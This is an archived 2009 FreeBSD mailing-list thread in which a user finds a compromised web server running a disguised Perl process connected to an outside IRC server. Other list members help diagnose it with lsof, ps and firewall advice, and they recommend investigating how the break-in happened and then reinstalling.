anyone is interested in looking at this stuff, or wants more info, please let me know. - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25135959.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
--On Tuesday, August 25, 2009 04:41:33 -0500 Ruben de Groot wrote: On Tue, Aug 25, 2009 at 10:19:37AM +0100, Mike Bristow typed: On Tue, Aug 25, 2009 at 01:00:53AM -0700, Colin Brace wrote: > Ok, here is what lsof tells me: > > $ sudo lsof | grep perl > perl5.8.9 4272 www3uIPv4 0xc33cf0000t0 TCP > gw:51295->94.102.51.57:afs3-fileserver (ESTABLISHED) > > The last line would be appear to telling me something, but what? The script is talking to 94.102.51.57 on port 7000. At which port an IRC server is listening: telnet 94.102.51.57 7000 Trying 94.102.51.57... Connected to 94.102.51.57. Escape character is '^]'. :sampson.dangerz.biz NOTICE AUTH :*** Looking up your hostname... :sampson.dangerz.biz NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead And the IRC daemon is screaming "You have been hacked!" You need to get someone who knows about server compromises to help you. Your server has been compromised. If you don't take action now, it will only get worse. -- Paul Schmehl (pa...@utdallas.edu) Senior Information Security Analyst The University of Texas at Dallas http://www.utdallas.edu/ir/security/
Re: what www perl script is running?
Ruben de Groot wrote: > > Which is exactly what the rogue perl script was using to connect to it's > "home". > Once established this connection could have been used for allmost > anything, > including downloading other malicious software or setting up a tunnel into > your LAN. > Well, the box (also) serves as my DSL gateway, as I indicated above. How would I be able to use various desktop programs like Skype which dynamically set up their own outgoing ports? However, I am perfectly willing to entertain the idea that using a (web)server as a router is a Bad Idea. However, when I set it up, it just seemed more convenient and flexible. - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25135684.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
--On Tuesday, August 25, 2009 07:26:04 -0500 Bill Moran wrote: I am currently killing the process with the following bash command while I decide what to do next: $ while x=1 ; do sudo killall -9 perl5.8.9 && echo "killed..." ; sleep 15; done You can add an ipfw rule to prevent the script from calling home, which will effectively render it neutered until you can track down and actually _fix_ the problem. In reality, good security practice says that you should have IPFW (or some other firewall) running and only allowing known good traffic right from the start, which might have protected you from this in the first place. I disagree. I used to believe this, but experience has taught me otherwise. When you run a firewall on a host, you open the ports for the services you want to offer. The firewall provides you no protection at all against hackers attacking the services that are listening on ports opened through the firewall. All a host firewall does is consume CPU and memory and give you a warm fuzzy that doesn't really add to security at all and may well make you less vigilant. (And yes, I know I'm a security heretic in some quarters.) Firewalls are much more effective when they're not on the box(es) you're trying to protect. I think it's highly likely that this compromise was through the web server attacking a vulnerable service or a poorly coded script or a permissions problem. And it sounds like the compromise is limited (right now) to the web service. In fact it sounds a great deal like PsyBNC. http://en.wikipedia.org/wiki/PsyBNC Is it worth first trying to determine how my system was broken into? Yes. Otherwise you'll probably just get a repeat once you've reinstalled. You're absolutely correct. The old aphorism about always doing what you've always done always produces the results you've always gotten certainly applies here. -- Paul Schmehl, Senior Infosec Analyst As if it wasn't already obvious, my opinions are my own and not those of my employer. *** "It is as useless to argue with those who have renounced the use of reason as to administer medication to the dead." Thomas Jefferson ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
On Tue, Aug 25, 2009 at 06:30:17AM -0700, Colin Brace typed: > > Bill, one more thing: > > > Bill Moran wrote: > > > > You can add an ipfw rule to prevent the script from calling home, which > > will effectively render it neutered until you can track down and actually > > _fix_ the problem. > > Mike Bristow above wrote: "The script is talking to 94.102.51.57 on port > 7000". OK, so I how do I know what port the script is using for outgoing > traffic on MY box? 7000 is the remote host port, right? gw:51295->94.102.51.57:afs3-fileserver (ESTABLISHED) It's using local port 51295. But that's irrelevant as ports for outgoing connections are dynamically allocated. > FWIW, here are my core PF lines: > > pass out quick on $ext_if proto 41 > pass out quick on gif0 inet6 > pass in quick on gif0 inet6 proto icmp6 > block in log > > That is to say: nothing is allowed in unless explicitly allowed > Everything allowed out. Which is exactly what the rogue perl script was using to connect to it's "home". Once established this connection could have been used for allmost anything, including downloading other malicious software or setting up a tunnel into your LAN. Ruben ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
On Tue, Aug 25, 2009 at 06:16:49AM -0700, Colin Brace typed:
>
>
> Bill Moran wrote:
> >
> > You can add an ipfw rule to prevent the script from calling home, which
> > will effectively render it neutered until you can track down and actually
> > _fix_ the problem.
> >
> > In reality, good security practice says that you should have IPFW (or some
> > other firewall) running and only allowing known good traffic right from
> > the start, which might have protected you from this in the first place.
> >
>
> Bill,
>
> I am surprised you would think I have no firewall. As long as I have had the
> server (2 years), I have had PF installed and running, and I can tell you
> exactly which incoming ports I have open to the net:
>
> tcp_services = "{ ssh smtp www https 4661 4662 52550 }"
But are you blocking any outgoing traffic?
> wifi_tcp_services = "{ ftp ssh bootps whois domain www imap imaps ntp irc
> https sunrpc dict nfs 2628 3689 4711 6667 6909 23398}"
>
> Should I entertain the possiblity that someone parked their car near my
> house and hacked in through one of the above ports?
That's certainly possibly. But not my first guess.
> Any suggestions as to where to start looking for the breach would be most
> welcome; I am quite new to this game.
My guess (not much more than that) is that someone used a vulnerable web page,
maybe some perl or php application that was exploitable. This because the
rogue process was running as user "www".
Try a find through the entire filesystem for files owned by this user that
you can't account for. Also check your cron and at files under /var/cron and
/var/at
And try to find out what's starting the proces whith ps -alx, tracking the
PPIDs.
gooed hunting!
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
Bill, one more thing: Bill Moran wrote: > > You can add an ipfw rule to prevent the script from calling home, which > will effectively render it neutered until you can track down and actually > _fix_ the problem. Mike Bristow above wrote: "The script is talking to 94.102.51.57 on port 7000". OK, so I how do I know what port the script is using for outgoing traffic on MY box? 7000 is the remote host port, right? FWIW, here are my core PF lines: pass out quick on $ext_if proto 41 pass out quick on gif0 inet6 pass in quick on gif0 inet6 proto icmp6 block in log That is to say: nothing is allowed in unless explicitly allowed Everything allowed out. (plus some ipv6 stuff I was testing with a tunnel) Merci - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25134277.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
Bill Moran wrote:
>
> You can add an ipfw rule to prevent the script from calling home, which
> will effectively render it neutered until you can track down and actually
> _fix_ the problem.
>
> In reality, good security practice says that you should have IPFW (or some
> other firewall) running and only allowing known good traffic right from
> the start, which might have protected you from this in the first place.
>
Bill,
I am surprised you would think I have no firewall. As long as I have had the
server (2 years), I have had PF installed and running, and I can tell you
exactly which incoming ports I have open to the net:
tcp_services = "{ ssh smtp www https 4661 4662 52550 }"
the last three are for edonkey and bittorrent, resp.
c'est tout.
There are no *obvious* weaknesses, ie, ssh is private-key only.
That being said, I leave the WiFi open to everyone, with the following ports
available:
wifi_tcp_services = "{ ftp ssh bootps whois domain www imap imaps ntp irc
https sunrpc dict nfs 2628 3689 4711 6667 6909 23398}"
Should I entertain the possiblity that someone parked their car near my
house and hacked in through one of the above ports?
Any suggestions as to where to start looking for the breach would be most
welcome; I am quite new to this game.
Thanks.
-
Colin Brace
Amsterdam
http://lim.nl
--
View this message in context:
http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25134056.html
Sent from the freebsd-questions mailing list archive at Nabble.com.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
In response to Colin Brace : > > Olivier Nicole wrote: > > > >> Am I correct in assuming that my system has been hacked and I am running > >> an > >> IRC server or something? > > > > IRC client at least. And yes, I would think that your system has been > > compromised. > > > > Thanks Olivier. > > I am currently killing the process with the following bash command while I > decide what to do next: > > $ while x=1 ; do sudo killall -9 perl5.8.9 && echo "killed..." ; sleep 15; > done You can add an ipfw rule to prevent the script from calling home, which will effectively render it neutered until you can track down and actually _fix_ the problem. In reality, good security practice says that you should have IPFW (or some other firewall) running and only allowing known good traffic right from the start, which might have protected you from this in the first place. > Is it worth first trying to determine how my system was broken into? Yes. Otherwise you'll probably just get a repeat once you've reinstalled. -- Bill Moran http://www.potentialtech.com http://people.collaborativefusion.com/~wmoran/ ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
Colin, > I suppose this calls for a "bare-metal" reinstall. > Is it worth first trying to determine how my system was broken into? It really depends on: - what is installed on that machine (how long it would take to reinstall, how many softwares, ports, specially configured stuff). - how important is is that you keep the machine running (like the only web server generating all the revenue for your company vs. your home mail server that is being used for you and your household). If you can afford to take the system down for enough time to reinstall it from scratch, it is the best: you will know 100% that you did not forget some backdoor somewhere, you make install updated software, you may implement those fancy changes that you have always wanted to implement, but that you would not do because you were afraid of breaking a working server. In any case, it is a good exercise to try to find out how you were broken into: security hole in the OS or some port, hopefully an upgrade will close them, a security hole in some home made script? If you re-install that script on your new server without closing the holes, the new server will be vulnerable too, and soon compromised. It may also be good to dig from the log and try to find who has been reaching your infected server: it happened to me (third party software installed by an outside contractor), from the log I contacted all the people that I could locate upstream, about 5 to 10% of them where not aware that they had been infected too... Trying to understand how you get compromised is a good way to gain deeper knowledge about your system. Best regards, Olivier ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
Olivier Nicole wrote: > >> Am I correct in assuming that my system has been hacked and I am running >> an >> IRC server or something? > > IRC client at least. And yes, I would think that your system has been > compromised. > Thanks Olivier. I am currently killing the process with the following bash command while I decide what to do next: $ while x=1 ; do sudo killall -9 perl5.8.9 && echo "killed..." ; sleep 15; done I suppose this calls for a "bare-metal" reinstall. Is it worth first trying to determine how my system was broken into? - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25132123.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
Hi Colin, > Am I correct in assuming that my system has been hacked and I am running an > IRC server or something? IRC client at least. And yes, I would think that your system has been compromised. Good luck, Olivier ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
Mike Bristow wrote: > > On Tue, Aug 25, 2009 at 01:00:53AM -0700, Colin Brace wrote: >> Ok, here is what lsof tells me: >> >> $ sudo lsof | grep perl >> perl5.8.9 4272 www3uIPv4 0xc33cf0000t0 TCP >> gw:51295->94.102.51.57:afs3-fileserver (ESTABLISHED) >> >> The last line would be appear to telling me something, but what? > > The script is talking to 94.102.51.57 on port 7000. > > Other useful things: > > ps ajx > will tell you the parent process of the script: this looks like > it may be a (fast?)CGI script; if so then the parent would be the > web server. > > It may also show the name of the script (but beware: the script > can change that) which would be usefull to know. > >> After 24 hour since rebooting, this perl instance is still crunching >> away... > > Is it the same instance of the script, or a new copy each time? > That is, does the PID change? If so, that points to a CGI; if not it > points to a fastCGI - or something else. > I have disabled both CGI and fastCGI in lighttpd.conf, restart the webserver, but the script keeps popping up. Now I notice something interesting: $ ps aux | grep www www 116 100.0 0.7 5864 3588 ?? R11:53AM 8:10.33 /usr/bin/web/httpd (perl5.8.9) www 113 0.0 0.0 0 0 ?? Z11:53AM 0:00.18 This file doesn't exist on my system. Am I correct in assuming that my system has been hacked and I am running an IRC server or something? Thanks. - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25131646.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
On Tue, Aug 25, 2009 at 10:19:37AM +0100, Mike Bristow typed: > On Tue, Aug 25, 2009 at 01:00:53AM -0700, Colin Brace wrote: > > Ok, here is what lsof tells me: > > > > $ sudo lsof | grep perl > > perl5.8.9 4272 www3uIPv4 0xc33cf0000t0 TCP > > gw:51295->94.102.51.57:afs3-fileserver (ESTABLISHED) > > > > The last line would be appear to telling me something, but what? > > The script is talking to 94.102.51.57 on port 7000. At which port an IRC server is listening: > telnet 94.102.51.57 7000 Trying 94.102.51.57... Connected to 94.102.51.57. Escape character is '^]'. :sampson.dangerz.biz NOTICE AUTH :*** Looking up your hostname... :sampson.dangerz.biz NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead Ruben ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
On Tue, Aug 25, 2009 at 01:00:53AM -0700, Colin Brace wrote: > Ok, here is what lsof tells me: > > $ sudo lsof | grep perl > perl5.8.9 4272 www3uIPv4 0xc33cf0000t0 TCP > gw:51295->94.102.51.57:afs3-fileserver (ESTABLISHED) > > The last line would be appear to telling me something, but what? The script is talking to 94.102.51.57 on port 7000. Other useful things: ps ajx will tell you the parent process of the script: this looks like it may be a (fast?)CGI script; if so then the parent would be the web server. It may also show the name of the script (but beware: the script can change that) which would be usefull to know. > After 24 hour since rebooting, this perl instance is still crunching away... Is it the same instance of the script, or a new copy each time? That is, does the PID change? If so, that points to a CGI; if not it points to a fastCGI - or something else. Cheers, -- :wq ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
Ok, here is what lsof tells me: $ sudo lsof | grep perl perl5.8.9 4272 www cwd VDIR 0,76512 2 / perl5.8.9 4272 www rtd VDIR 0,76512 2 / perl5.8.9 4272 www txt VREG 0,82 4428 3015044 /usr/local/bin/perl perl5.8.9 4272 www txt VREG 0,76 171192 49360 /libexec/ld-elf.so.1 perl5.8.9 4272 www txt VREG 0,821229218 95150 /usr/local/lib/perl5/5.8.9/mach/CORE/libperl.so perl5.8.9 4272 www txt VREG 0,76 92140 16 /lib/libm.so.5 perl5.8.9 4272 www txt VREG 0,76 31928 14 /lib/libcrypt.so.4 perl5.8.9 4272 www txt VREG 0,76 50496 74 /lib/libutil.so.7 perl5.8.9 4272 www txt VREG 0,761026604 13 /lib/libc.so.7 perl5.8.9 4272 www txt VREG 0,82 17427 94753 /usr/local/lib/perl5/5.8.9/mach/auto/IO/IO.so perl5.8.9 4272 www txt VREG 0,82 24006 94951 /usr/local/lib/perl5/5.8.9/mach/auto/Socket/Socket.so perl5.8.9 4272 www0uPIPE 0xc33c4ad4 16384 ->0xc33c4b8c perl5.8.9 4272 www1uPIPE 0xc2fd2874 0 ->0xc2fd27bc perl5.8.9 4272 www2uPIPE 0xc2fd2874 0 ->0xc2fd27bc perl5.8.9 4272 www3uIPv4 0xc33cf0000t0 TCP gw:51295->94.102.51.57:afs3-fileserver (ESTABLISHED) The last line would be appear to telling me something, but what? After 24 hour since rebooting, this perl instance is still crunching away... - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25130058.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
On Monday 24 August 2009 10:07:50 Olivier Nicole wrote: > > Is there a command like fuser or lsof which can be used to determine > > what files this perl instance is using? Any other ideas on how to figure > > out what is going on here? > > lsof is in the ports. > and fstat(1) is in the core. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
> Is there a command like fuser or lsof which can be used to determine > what files this perl instance is using? Any other ideas on how to figure > out what is going on here? lsof is in the ports. best regards, Olivier ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
